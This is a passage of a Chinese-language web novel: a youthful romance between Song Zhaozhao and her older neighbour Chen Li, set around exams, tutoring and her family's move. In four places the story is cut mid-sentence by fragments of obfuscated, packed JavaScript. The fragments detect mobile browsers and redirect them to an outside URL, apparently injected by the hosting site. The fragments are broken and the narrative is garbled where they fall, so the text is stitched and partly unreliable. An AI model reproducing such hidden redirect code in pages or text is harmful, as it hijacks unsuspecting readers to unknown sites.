l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405666|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈历黑眸微眯,眼神变得探究起来。 “在找什么?”他无声地笑笑,走到她面前,站定。 宋昭昭瞥了一眼楼道外纷飞的柳絮,风裹挟着它们往他们所在的方向翻涌。她侧开身,错开他的视线,嘟囔道:“没找啥。” “是吗?”陈历显然不信她的说辞,慢悠悠地问,“今天下午怎么去市中心了?” “买辅导书。” 为了印证她并没有说谎,宋昭昭刻意掂了掂手中的帆布袋,沉重的书本压着她的手臂,皮肤被勒出一道红印子。 陈历轻点了点头,原来如此。 他的视线上下一扫,观察她的表情,语气平淡:“那你……看见我了吗?” 他好意思问! 宋昭昭坦然迎上对方的目光,淡淡笑着,声音平缓:“看到了,我还看到你和一位女生坐在一起。” 平缓的语气没忍住,到后半句变得阴阳怪气。 陈历穿着一身校服,笔挺地立在她面前,听她如实道来,微微一笑,背支着楼梯栏杆,单脚撑地,双手环臂。 再简单不过的动作,看得宋昭昭心神一荡,她扯了扯嘴角,心想他果然会勾引人。 “然后呢,还看到什么?”他不咸不淡地问。 宋昭昭有一瞬的难堪,他居然问她?居然想要她亲口说出来——她看到女生靠着他的肩膀哭得梨花带雨吗? 她嘲弄地笑笑:“你早恋,不怕我告诉莲姨吗?” 听完她理直气壮的质问,陈历嘴角的笑容加深,他耐人寻味地“哦”了声:“你是要去告状啊?说来听听,你打算跟我妈说。” 他似乎并不怕宋昭昭去戳破恋情,神态、姿势依旧保持着风轻云淡。 脸上的笑容难以为继,本就被那一幕亲密的举止震撼到,结果他非但没有慌乱的情绪,反而悠哉游哉地在此处同她玩笑。 委屈袭来,鼻子酸涩,宋昭昭嘴一瘪,眼睛泛红,瞬间变得水汪汪。 陈历瞧见后,敛了笑意,拉直了嘴角。 宋昭昭扭过身,身形晃了晃才站稳。 她没有想过拿这件事去威胁他,更不会去告状,只是刚才心直口快,委屈和不甘心溢满胸膛,让她暂时失去理智。 楼道不时有风灌进来,两人之间陷入沉默。 半晌之后,陈历浅浅地叹了口气,耐心同她解释:“昭昭,她只是我的一个朋友,不是女朋友。” 14. 第十四章 14 话音落,宋昭昭不轻不重地“哦”了声,下一秒,她倏地瞪大眼睛。 哈? 朋友?不是女朋友?女朋友还是朋友? 死耳朵,到底有没有听错啊! 宋昭昭皱皱巴巴地努了下鼻子,继而抬起怀疑的眼神,直直看向陈历,她犹豫了会儿,断断续续道:“可是,我怎么知道……你有没有撒谎?” 陈历轻轻笑了声,幽深的眸子对上她的,含笑道:“那得问你,信不信我。” 半信半疑吧。 宋昭昭垂在身侧的手揪了揪衣角,眉心微拧:“所以,你们在花坛那里纯谈心聊天?” “算是吧,帮她一个小忙。”陈历轻“嗯”了声,扬眉回答。 宋昭昭:“帮忙?” 帮忙需要哭着把脑袋搭在他的肩膀上吗?男女有别,陈历平时看着挺有分寸和边界感,难道只是针对她? “是啊。”陈历的表情看起来十分坦然,他理所应当地点头,“就跟平时帮忙辅导你一样,今天我帮忙开解她。” 哦。 那还是不一样的。表面上她主动向他询问学习相关的问题,积极且主动,其实她只是希望两个人有单独相处的时间。 她问心有愧。 见宋昭昭半信半疑,陈历的视线长久地搁在她身上,或许在衡量要不要同她讲实话。 视线相对又错开,陈历犹豫了一会儿,嗓音低沉,严肃地同她说道:“如果我告诉你,你能保证不告诉别人吗?” 风好像静止了,宋昭昭思忖几秒,点头答应。 “刚刚你看到的那位女生,是我的朋友,我们认识七八年了。她有个男朋友,从初三开始两个人瞒着父母恋爱。最近他们吵架闹分手,彼此之间冷战了快一个月。” “他们不在同一所学校,有谣言传,男生在新学校跟某位女生纠缠暧昧了很久。” “她得知真相后去找男生对峙,男生闭口不言,她觉得被背叛、被辜负,和男生大吵一架,想分手又舍不得。” “她想相信男生,无非是想证明自己的眼光不差。” “高考将近,她学习的状态下滑很多,在心里憋了很久,下午找我商量,要我帮忙出个主意。听她哭诉,又要开解她,希望她将感情的事情留到毕业之后再处理,毕竟眼下最重要的,不是感情。” 男生永远都会保持理智吗? 像他一样,对待感情的态度近乎冷漠。 但,宋昭昭不得不承认他很成熟,说得在理。原来在他眼里,感情不是最重要的,这话听起来又有几分薄情。 她垂着眼,静静地聆听。 陈历面色严肃地提醒她:“对了,她父母和我妈也认识,你记得不要说漏嘴。” 他的声音压得很沉,宋昭昭听这一番话听得目瞪口呆,忙不迭点点头,举手作发誓状:“你放心,我肯定不多嘴。” “我一定,一定会守好秘密。” 解释完毕,陈历上前摸了摸她毛茸茸的脑袋,叮嘱道:“你也是,宋昭昭。在现在这个年纪,不要放弃学业,不要纠结感情。” “你要是敢因为男女之情耽误成绩,被我知道了,我一定告诉你爸妈。” 嘁。 宋昭昭在内心默默吐槽,要是被我爸妈知道我有喜欢的人,且那个人还经常在他们面前晃荡,指不定打断谁的腿哦。 虽然心里反驳,表面上她还是乖巧地应了一句“是”,看起来嬉皮笑脸,不甚认真。 她摇头晃脑的,陈历瞧了微微蹙眉,他不轻不重地敲了下宋昭昭的脑袋,咬牙切齿道:“我说的这句话,你要听进去。” “任何时候,永远都要把自己放在第一位,不可以为了感情放弃学业、放弃前途。” “哦。” “大点声。”陈历直视她,表情略显严肃。 见他如此认真,宋昭昭的心咯噔一下,脸上的笑容渐渐收敛,一本正经地点头,如小鸡啄米一般,她登时抬高音量:“知道了!” “我保证,不会因为不相干的人影响学习和成绩的!” 听见她的回复之后,陈历这才放心地收回手,他转身往楼上走,迈过了几级台阶,回过头,朝她抬抬下巴。 “不回家吗?” “回啊。”宋昭昭楞了下回答,语气有点木木的。 见她心不在焉,明显欲言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405667|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又止的表情,陈历停在原地,单手扶住楼梯的杆子,不急不缓地开口:“你还有什么问题吗?” 嗯? 你是心理学家吗?宋昭昭牵了牵嘴角,为什么可以感应到她的想法?甚至这个问题刚从脑海里冒出来,就被他捕捉到。 宋昭昭扭扭捏捏,仰着脖子,眼一闭心一横,开口,目光闪烁道:“就……陈历,你有女朋友吗?” 是的,刚刚突然从脑海里冒出来的问题是,陈历有女朋友吗? 下午在花坛偶遇的那位女生是她的朋友,但并不代表,他没有女朋友。 问题盘旋着,纠缠着,最终还是被她问了出来。 认识将近一年,在宋昭昭的认知里,陈历各个方面都很优异,在芳心萌动的十六七岁,在青涩纯情的高中生活,必然会有女孩子为他心动,那他呢? 他是否也有喜欢的女孩子? 这个问题,他们似乎从来没有进行深入的探讨,只是今天,她想求一个答案。 往前的脚步顿住,陈历的眼神有了一丝波动。 陈历居高临下地看她,幽深的眸底看不出他此时此刻的想法,有风从楼道里灌进来,他微眯着眼,迎着光,就这么静静地与宋昭昭对望。 如果是往常,宋昭昭会顶不住他的目光,率先摆摆手,笑着说“我都是开玩笑的”,从而将话题揭过去。 但今天两相对视,她有点不依不饶的执着。 注视片刻后,陈历叹了口气,语气淡淡的开口:“没有。” 末了,补上一句:“没有女朋友,目前也没有想谈恋爱的想法,学习为重。” 说罢,他不再看宋昭昭逐渐黯淡的神情,转身抬脚就走。 没有女朋友,目前也没有想谈恋爱的想法。 他是不是看出了她对他有意思,所以刻意加上后面那一句?两家父母走得近,他不好用太直接的方式拒绝,因此以婉转的话语告诉她。 学习为重。 浓重的失落感铺天盖地地袭来,“噔噔”的脚步声停下来,陈历从楼道走到了家门口,她听见楼上传来钥匙旋门的声音。 宋昭昭低下头,对着空气轻轻地应了一声“哦”。 15. 第十五章 15 四月之后,宋昭昭再没有见过陈历。 再次见面,是在高考前三天。 学校放假,需要布置考场,并且不提供食堂饭菜,大部分高三学生选择回家休息,陈历趁此次机会将大部分教科书都搬了回来。 陈历回来的那天是周六中午,宋昭昭父母不在家,她没吃午饭,醒来后磨蹭了会儿,本打算出去找一家面馆将就,不料在楼道里碰见了回家的陈历。 他肩上背着一只双肩背包,左右手各拎着帆布袋,袋里装的都是他的书本。 迎面碰上的时候,宋昭昭震惊地说不出话,还是陈历率先同她打招呼,她才回过神。 她结结巴巴道:“你怎么回来了?” “难道我不能回家?”陈历缓缓勾起嘴角,同她打趣。 她当然不是这个意思,马上就要高考,她还以为他会在学校死磕题目呢。 而且正因为他将近两个月没回来,导致她现在出门越来越随便,眼屎一抹就出去觅食,完全没有形象可言。 结果现在偶遇,她都没法睁眼瞧他。 宋昭昭见他拿的东西多,朝他伸手:“我帮你拿一袋吧。” “不用。”说着,陈历与她擦肩而过,走过了两级台阶,他回身望了眼定在原地的宋昭昭,“你过来帮我拿下钥匙。” “哦。” 宋昭昭低头跟上他的步伐。 站在家门口,陈历将手微微抬起,用眼神示意她去拿左手衣袋里的钥匙。 宋昭昭心领神会,微侧身,朝他伸出手。 整个过程不超过五秒钟,口袋没有拉链,她的手探进去就摸到了冰凉的一串钥匙,隔着校服外套,不小心贴到他的腹部,手感温热。 他们近在咫尺,某个瞬间,宋昭昭隐约感受到他强有力的心跳悄悄加速。 但那并不可能。 陈历这人看着清冷,对任何人事物都是淡淡的,很难想象发生多么脱离掌控的一件事,才会导致他心情起伏。 拿过钥匙后,宋昭昭迅速从他身前退了出来。 呼吸变急促的人是她,以至于拿钥匙开门的时好几次都没对进去孔,动作越来越慌乱,陈历只是静静地等在身后。 手似乎也在颤抖。 宋昭昭暗骂自己无能,在放弃的前一刻,终于插进去钥匙,微微一拧,门开了。 进入屋子后,陈历先放下帆布袋,紧接着脱下书包,问:“你刚打算去干嘛?” 宋昭昭坐在沙发一侧,视线扫了一遍房间,老老实实回答:“吃午饭。” 闻言,陈历抬头睨她一眼,问:“你不会告诉我刚起床,连早饭也没吃吧?” 他太了解她。 宋昭昭不正面回答,笑嘻嘻道:“你吃午饭了吗?要和我一起去吗?” 陈历见惯了她一心虚就转移话题的场面,说:“不去。” “哦。” 宋昭昭有些失落,不过她依然契而不舍:“那你需要我给你带点什么吗?汤面?小炒?奶茶要不要?” “都不用。” 行,那你饿着吧。 宋昭昭斜他一眼,在心里腹诽。 她撇撇嘴,正要起身走人,陈历却突然停了手上的动作,扭头看过来,不咸不淡地问:“我做饭,你吃吗?” 嗯? 宋昭昭不可置信地回望他,眼睛睁得圆溜溜的,有几分可爱。 陈历嘴角的弧度微微上扬,在她出声前,又压了下来。 他亲自下厨吗? 说起来,自从陈历进入高考冲刺阶段以来,她确实很久没有尝过他做的菜了。 有一说一,聪明的人,做任何事情都手到擒来,一切仿佛尽在掌握的样子,实在迷人。宋昭昭之前见过他炒菜,修长的手指握着锅铲,一举一动好似艺术。 宋昭昭顿时有些紧张,声音干涩:“也行。” 陈历整理完从学校带回来的书,丢给她一本《英语作文范文》,宋昭昭肩一垮,脸部表情瞬间变得皱皱巴巴。 这么会监督人学习,他真该考个教师资格证去当老师的! 宋昭昭敢怒不敢言,半靠在沙发上随手翻起书。 陈历牵了牵嘴角,折身去往厨房。 董莲今天上班,午饭不在家吃,厨房里没有下厨的痕迹。他打开冰箱,眼睛从上扫到下,最后拿出一袋麦面。 他伸长脖子从厨房探出半个脑袋,扬声问:“青菜肉丝面,可以吗?” “都行。” 宋昭昭打了个哈欠,软绵绵地应了声。 得到回复,陈历开始井然有序地切肉丝、洗青菜……锅里煮着面条,肉丝沉到底部,面汤上漂浮着绿色的青菜。 最后,陈历往里面打了两颗鸡蛋。 - 半个小时后,两碗面被端到桌面。 两个人对面而坐,宋昭昭早已饥肠辘辘,说了句“好香啊”立即开动,边吹热气边嚼,末了比个大拇指,夸赞他厨艺高超。 陈历回了句: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405668|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这很简单。” 他吃的速度比宋昭昭快,人家才吃了一半,他的面汤都快见底。陈历抽了张纸巾擦嘴,问:“你从来没有下过厨吗?” 宋昭昭楞了楞,如实回答:“没有。”声音明显比刚才矮了下去。 “不过,我可以学!”宋昭昭埋头咬了一口鸡蛋,又坚定地补充,眼睛亮晶晶的,“你要不要教我?” 对视的片刻,两个人都不自然地移开目光,又移回来。 陈历端正坐姿,笑着调侃:“下厨还得看天资,我可不敢随便乱教,万一教出来一个炸厨房的,岂不是自讨苦……” 话断在了这里。 宋昭昭望向他的眼睛轻轻眨了一下。 似乎在怀疑自己的耳朵是否出了问题,应该没有听错吧?他的意思是自讨苦吃?听起来居然有几分暧昧…… 或许只是一句平常的调侃,没有任何含义。 宋昭昭尝试将突然安静的尴尬氛围揭过去,她白了陈历一眼,昂着脑袋说:“我可聪明了,你可别dog眼看人低。” 此话一出,陈历笑了笑,放下纸巾。 厨房与餐桌隔着的玻璃门开着,外头柔和的风吹过来,暖洋洋的午后,少男少女各坐桌子一端,和谐地继续下一个话题。 吃过午饭,宋昭昭提议她来洗碗,她拍着胸脯保证:“你放心,我绝对不会打碎一口碗,保证把你的厨房收拾得干干净净!” 看着她斗志昂扬又信誓旦旦的模样,陈历便随她去了。 宋昭昭洗好碗,从厨房出来,才发现刚刚收拾书包的陈历已经窝在沙发上,安安静静地眯着眼陷入梦乡。 她放轻脚步地走到他身边,蹲下身平视他。 陈历的脸帅气依旧,唯独有变化的是他眼下的黑眼圈,好像比上次见面更浓了点。 他的双眉紧蹙着,不知做了什么奇怪可怕的梦,抑或是最近的学习压力太大,让他始终无法放松。 宋昭昭浅浅地叹了一口气,有些心疼。 她缓缓伸出手。 手在半空停留了好久,最终贴到陈历的眉毛上。她轻轻地抚摸了两下,似乎是想借着这次机会,将他所有的烦恼和忧愁都抚平。 她的动作十分轻柔。 但就在她落手的瞬间,陈历转动的眼皮忽然停住了。宋昭昭的注意力全集中在他的眉毛,完全没发现。 她轻声喃喃:“陈历,希望你愿望成真,考取心仪的大学。” 她又说:“陈历,希望你快乐。” 16. 第十六章 16 高考结束后,陈历找到一份兼职工作。 他的这份工作是老师推荐的,给老师朋友的儿子辅导作业,活不累,工资给的也高。 高考成绩在考试结束后的半个月内就出来了,陈历考的分数非常漂亮,离市状元只差了三分。 莲姨对他的成绩感到欣慰,一晚上与亲朋好友通电话报喜。 宋昭昭知道他的分数时,忍不住跳了起来,兴奋激动之情溢于言表,她掏出手机,第一时间向他祝贺。 陈历或许在忙,过了很久才回复一句:【多谢啦!】 他的心情应该很好,聊天语气也变得可爱。 宋昭昭不禁乐得吹起了口哨。 宋母见她自得其乐,好奇地问了句:“什么事情这么高兴?天上掉钱被你捡着了?” 宋昭昭“哼”一声,不做反驳,高高兴兴、蹦蹦跳跳地回了房间。 - 直到七月初,宋昭昭的初一生活也落下帷幕。 父母开车去学校接她,帮她搬回棉被和书本,顺带把她放在学校宿舍的几只玩偶都拿回家清洗一遍。 天气闷热,午后的风徐徐吹过来,宋昭昭在阳台晾晒玩偶时,发现陈历正在自家阳台给栽种的两盆芦荟浇水。 两盆芦荟在他的精心照料下,养得生命力格外蓬勃,上回宋母做饭不小心被油溅伤了手臂,就去他家那儿摘了两根芦荟涂抹皮肤。 见到他时,宋昭昭的眼睛一亮,她朝陈历的方向走,冲他招手,扬声道:“陈历哥哥,你今天怎么在家?” 按理说,今天是周三,他应该在帮小朋友辅导功课。 听见她的声音,陈历浇水的手一顿,转过头,上下扫了一眼宋昭昭阳台挂的琳琅满目的玩偶,最后视线定在她笑容满面的脸上。 陈历向她解释,小朋友的父母最近有假期,带他去国外旅游了,所以这几天给他放假。 原来如此,宋昭昭点点头。 她将手里最后一只玩偶用夹子挂好,又问:“那你这几天有什么打算?是准备宅在家里,还是出去玩?” 陈历挪开视线,继续浇水,声音淡淡的:“待在家,也可能去我妈那儿帮忙。” 啊……好吧。 猜也能猜到。 七月的风已经带着丝丝燥热,站在阳台不过几分钟,炽热的太阳晒得人不由眯起眼睛,宋昭昭面朝陈历,似乎有话要说。 不等她开口,陈历率先问了:“你有没有不懂的题目,可以拿过来,我给你讲解。” 他居然主动提出帮忙?此时不点头更待何时? 宋昭昭眼睛一亮,忙不迭点头,声音也抬高不少:“有有有!” 说完,她立马跑向房间拿纸笔,空白的试卷有一摞,她都还没有正式开始写,不过没关系,题目越多越好。 三分钟后,宋昭昭笑嘻嘻地抱着一摞试卷敲响了陈历家的大门。 两人来到陈历卧室,屋内开着空调,温度适宜。 然而两人共处一室实在令人紧张,宋昭昭坐在书桌前,手搭在腿上,又搁到桌面,几次三番调节自己的坐姿。 她的小动作引起了陈历的注意,他偏过头,问:“怎么了?” “没事,你继续。” 宋昭昭心虚地低下头,声音也矮了下去。 放暑假以来,宋昭昭有一段日子放松自己,每天熬夜看小说,睡到日晒三杆才起床。 父母工作日上班,没办法在家监督她起床吃早饭,她就拖到中午,早午饭一块儿吃。 今天也是。 本来吃完饭照例会午睡一会儿,但刚刚一时起了兴致,将学校带回来的玩偶全部放到洗衣机里清洗,又晾晒到阳台,正巧撞见同在阳台的陈历。 聊了几句话,就被他拐进家门写作业。 在他的督促下,宋昭昭做完了一张试卷,陈历帮她检查错误的时候,她困得哈欠连天,晶莹的眼泪即将溢出眼眶。 陈历瞥一眼她,轻声道:“困了去我床上躺会儿,等我改完试卷再叫你。” 本来还保持着最后一丝淑女和优雅的宋昭昭,听完这话,头也不回地拖着困乏的身子,重重将自己往床上一抛,彻底陷入梦乡。 陈历坐在书桌前,紧锁着眉头帮她订正作业,她果然没怎么用心,犯了很多不该犯的小错误,连计算都出错。 他轻轻“啧”了一声,回头想叫起宋昭昭,才发现她已经抱着空调被呼呼大睡。 双眼紧闭,两颊微微泛红。 她睡得极沉,呼吸声都加重了。陈历闭上微张的嘴巴,默默收回了视线。 房间内静悄悄的,陈历改完她刚做好的试卷,在草稿纸上留下正确的解题步骤,放下纸笔,走到宋昭昭身侧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405669|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈历帮忙将被角往上掖了掖,又将贴在她脸上的几根碎发捋至耳后。 他蹲在床沿,静静地凝视着她。 初见时,她的脸还有点肉肉的婴儿肥,读完初一,宋昭昭脸上的肉明显削减下去,女孩子的特征也逐渐明显起来。 不像小妹妹,反而有点小姑娘的味道。 十几岁的年纪,总归没有那么成熟,不懂管理自己的情绪,害羞和生气时都会红了脸,有时候梗着脖子不说话,非常固执。 性格活泼外向,平常饭桌上叽叽喳喳讲话,最闹腾的人就是她。 陈历向来喜静,但却从来不觉得她吵闹,在某些不自知的瞬间,反而会竖起耳朵聆听,期待她分享生活和快乐。 他好像对眼前这个女孩子,有了一点点独特的例外。 饶是聪明理智如陈历,也尚未弄清楚这份例外究竟是好是坏。 他怕小姑娘一时兴起,并没有多少真心,也怕将来她后悔尴尬,所以在面对宋昭昭似是而非的试探时,总是假装听不懂,或者抱着作为兄长的语气劝诫她——学习为重。 他的高中生涯告一段落,即将前往陌生的城市开启大学生活,那对于他是未知和挑战,他的未来紧紧攥在自己手中,他得搏一搏。 至于宋昭昭…… 小女孩青春期有过悸动很正常,将来一个学业忙碌,一个远在他乡,一年到头见面的机会都没有几次,慢慢的,她就会被身边其他优秀的男生吸引注意力,从那以后,他就会真正变成熟悉且普通的“陈历哥哥”。 时间会解决很多问题。 他要等的,就是时间和经历让宋昭昭逐渐放下那份小心思。 他要做的,就是在她彻底放下之前,佯装不知,守护女孩子的少女心和自尊心。 外头的阳光斜斜地照进来,房间里浮尘飘动,一道光落在床沿,刺得宋昭昭的眼睛不由自主滚动了一下。 陈历察觉到这个小细节,挪了挪身子,替她挡住那一道日光。 时间流逝,陈历蹲到双脚麻木。 直到意识到宋昭昭睡的时间足够久,可能也到了快醒的时候,他才走到窗边,拉了半扇窗帘,最后走出卧室。 合上房门前,他回头望,深深地看了一眼宋昭昭的睡颜。 正如当初她所期望的那般,他也希望她愿望成真,学会快乐。 17. 第十七章 17 陈历上大学之后,只有逢年过节才会回家,有时候学业忙碌,跟着作为律师的老师帮忙打下手,更没有时间回来。 宋昭昭和陈历见面的机会越来越少,越来越少。 少到,她几乎快忘了他的模样,忘记他的声音。 时间好似奔流不息的长河,滚滚向前。 她身在其中,却无力抵抗。 当宋昭昭来到初三下半学期,为中考拼力冲刺的倒数一百天,有次联考,她不小心跌出年级一百名开外,老师和家长齐齐上阵,问她最近是否心情不佳或是遇到了什么困难。 其实,宋昭昭只是考试的时候有点犯困,迷迷糊糊的导致做题无法集中注意力,连错了几道题,事后她重新做过一遍,答案全部正确。 因而她觉得问题并非出在自己知识没掌握,而是考试状态需要改善。 但面对父母和老师的声声质问,她顿时又说不出话,压力压得她有些喘不过气。 宋昭昭被父母领回家后,一言不发地躲进了房间。 当时夜已深,她做完一套卷子后,时钟刚好跳到第二天,宋昭昭从书桌前挪到被窝里,抱着枕头彻彻底底地哭了一场。 哭得很小心,几乎压着声音,生怕被父母听见了又要小题大做。 其实,她只是需要向外界释放掉一些压力而已。 仅此,而已。 哭过之后,心情稍稍平静,她打开手机,翻开私密相册。 里面的照片不少,她几乎可以精确定位到想看的那一张照片具体在什么位置,手指滑动后停下,点击放大。 一张朦胧的图。 漫天大雪,雪中矗立着一盏路灯,澄黄的路灯下站着一位身穿白色羽绒服的少年,他的面前蹲着一只猫,歪头与他对视。 - 这张照片拍摄于今年过年,宋昭昭跟父母去装修好、并且通风了一段时间的新家看看,回风光路的路上,父亲开车,母亲坐在副驾驶,两个人你一言我一语地商量着过完年去买家具的事情。 他们说,等家具搬进新家,再做完大扫除,通风个把月之后,他们就可以彻底搬家。 搬家,意味着她要离开风光路。 离开风光路,意味着将来她和陈历甚至连偶遇的机会都微乎其微,两个人本来就浅薄的缘分可能就此,无声无息地断了。 对于搬家事宜,宋昭昭一个小孩子,并没有多大的话语权,只能一边听一边黯然神伤,父亲扭头问她喜欢什么样式的床,她都兴致缺缺,恹恹地回答了一句“随便,都行”。 回到风光路之后,母亲陪同父亲去停车场停车,路口放宋昭昭下车。 彼时,天上的飘雪渐渐下大,枝头、灌木丛盖上薄薄一层白雪,她踩着湿滑的地面小心翼翼地往前走。 直到在拐弯的路口,撞见与流浪猫对视的陈历。 纷纷扬扬的雪下个不停,身穿白色羽绒服的他与洁白无暇的世界混在一起,宋昭昭瞟了一眼,脚步不自觉停了下来。 或许是这一幕太过美好,美好到光用眼睛无法完整地记录,所以她掏出手机,悄悄地偷拍了一张这个冬天,有关于他的第一张照片。 像一篇未完待续的作品。 陈历是意外闯入雪景的过客,亦是留下这场雪景的唯一美好。 拍完照后,宋昭昭心虚的原地踏了两下,刻意制造出不轻不重的动静,以此吸引陈历的目光。 果不其然,陈历听到声音后缓缓回过头,白茫茫一片的大雪中,他孤零零地立在那儿,仿佛有种遗世独立的清冷。 对视的几秒钟里,两个人都没有开口。 身旁逐渐有人踩着雪经过,发出细细簌簌的声音,宋昭昭立在原地,往前往后都不是。 反倒是那只流浪猫看看陈历,又看看宋昭昭,最后冲她的方向“喵喵”两声,打破了尴尬的沉默。 陈历向她走来,两个人并肩往楼道的方向走。 “出去玩了?”陈历率先提问。 “没……” 宋昭昭犹犹豫豫回答,她还没想好要不要告诉陈历她即将要搬家的消息,她怕听到陈历的“恭喜”。 他是个不折不扣的“好人”,第一反应肯定是祝福,但她怕见到他的笑容后失落无比。 那显得她微不足道。 不过…… 宋昭昭抿了抿唇,目光瞟了他一眼,慢吞吞道:“刚刚,爸妈带我去看了新房子。装修已经结束,他们说等家具买好,就可以搬过去了。” 她的语气有几分试探的意思。 话音刚落,陈历往前的脚步一顿,不过他的动作幅度很小,马上又连贯地重新走起来,因而宋昭昭并没有发现。 之前两家人聚会,宋父宋母也跟董莲母子讲过家里的情况,因为原先住的的房子拆迁,他们才会搬回风光路的老房子,有在市区买新房,等装修好就会搬走。 “之前听叔叔阿姨说,你们的新房子买在市区,离你初中近,你要是考上市重点高中,离那儿更近,挺好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405670|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他的语气很平淡,听起来甚至是真心为她感觉到高兴。 果然。 他的回答果然不会令她失望,宋昭昭低下头,不满地踢了一脚地上的雪,雪花飞溅,不小心溅到一旁陈历的裤脚上。 宋昭昭怔愣,刚要开口说抱歉,对上陈历平静如水的眼眸,嘴边的话又被她咽了回去。 陈历和她相识近三年,对她的一举一动已经十分了解,知道她这是没有听到自己想听的答案在那里别扭,不由勾了勾嘴角,伸手轻轻地拍了拍她的头。 “就算你搬走了,我们两家人还是可以常见面,平时有空聚在一块儿吃吃饭。” “昭昭,我妈很喜欢你的。” 嗯? 这句话愉悦了宋昭昭的心情,嘴角的弧度缓缓上扬又被她压下来,她扭扭捏捏地抬头,问:“真的吗?莲姨很喜欢我?” “当然,她夸你机灵、懂事,她一直都梦想有个像你这么贴心的女儿。” 这夸赞算是说到宋昭昭的心坎上,她有点洋洋自得起来,问:“那你呢?” “嗯?” 陈历淡淡地撇过来一眼。 “哦——”宋昭昭这问题问得有些模棱两可,她故意的,但陈历从来不上当,于是她不得不问清楚,“你也赞同莲姨对我的评价吗?” 陈历逗她,摇摇头,慢条斯理地说:“说你机灵,我同意。说你懂事——有待考究。” 宋昭昭气得腮帮子都鼓起来,站在原地瞪他。 陈历坦然地直视她,耸耸肩,嘴角勾起一抹不易察觉的微笑。 宋昭昭扭头,加速往楼道里走,边走边控诉:“小气鬼,都不愿意夸夸我!” 她用夸张的语气掩饰了真正想问的问题。 在那一刻,勇气与怯懦做了较量,最后她退缩了,但其实,心一下子被揪起的那一刻,她想问的其实是—— 那你呢? 你也喜欢我吗? - 哭过后,双眼泛红发肿,宋昭昭斜靠在床头,盯着这张照片看了许久。 每每看见他微微低下头,与流浪猫对视的画面,她的脑海中不自然就会浮现今年冬天,大雪翻飞的时刻。 她走着走着,走到拐角口,不经意地往右撇了一眼,只此一眼,就看见了雪中孤零零站立的少年。 这个她抓不住,却一眼万年的少年。 她对他的喜欢呼之欲出。 可她依然没有勇气问出那句——你喜欢我吗? 18. 第十八章 18 宋昭昭中考顺利考进了市重点高中,收到录取通知书那天,父母高兴得双眼眯了起来,手机电话响个不停,接受着来自亲朋好友的祝贺。 当事人倒是心态平稳,面对大家的夸赞面不改色,叼着根雪糕在房间里看漫画。 她趴在地毯上,双脚高高翘起,吃完雪糕翻了个身,上衣紧随着往上卷,露出雪白的、圆滚滚的肚皮。 房间里开着空调,冷气充足,宋昭昭拉着衣服一角往下扯,她抿了抿嘴角,唇齿间全是雪糕甜滋滋的味道。 中考考了高分,她除了得知成绩的那刻兴奋激动了一会儿,其他时候表现都还挺平静,因为知道未来有更多的考验在等着她,如果以陈历目前所在的大学为目标,接下来的三年她必须咬紧牙关,不能放弃。 不过唯一令她欣喜的是,她即将拥有陈历的同款校服了。 自从他高中毕业之后,宋昭昭就再也没有在他家阳台看见过晾晒的、蓝白相间的校服,随着微风飘荡。 那一幕的静谧与美好在她脑海中长存,她还怪想念。 说起陈历…… 宋昭昭不禁闭上眼睛,悠悠地叹了口气。 大人们都说只要熬过高中,就能得到放松,可为什么他是个反例? 自从去了大学,陈历在朋友圈里消失得无影无踪,每次发他消息总要等很久才能得到回复,他的手机开了静音,学习的时候又格外专注,几乎不会看一眼消息。宋昭昭时常在想,能成为佼佼者的人必然都和他一样,拥有优于常人的专注力以及吃苦耐劳的品质。 今年暑假,陈历从学校回来以后就找好了兼职工作,早出晚归,宋昭昭想制造一次偶遇实属不容易。 正当她苦恼万分,四脚朝天地躺在地毯上唉声叹气时,手机忽然蹦出一条消息。 谁啊? 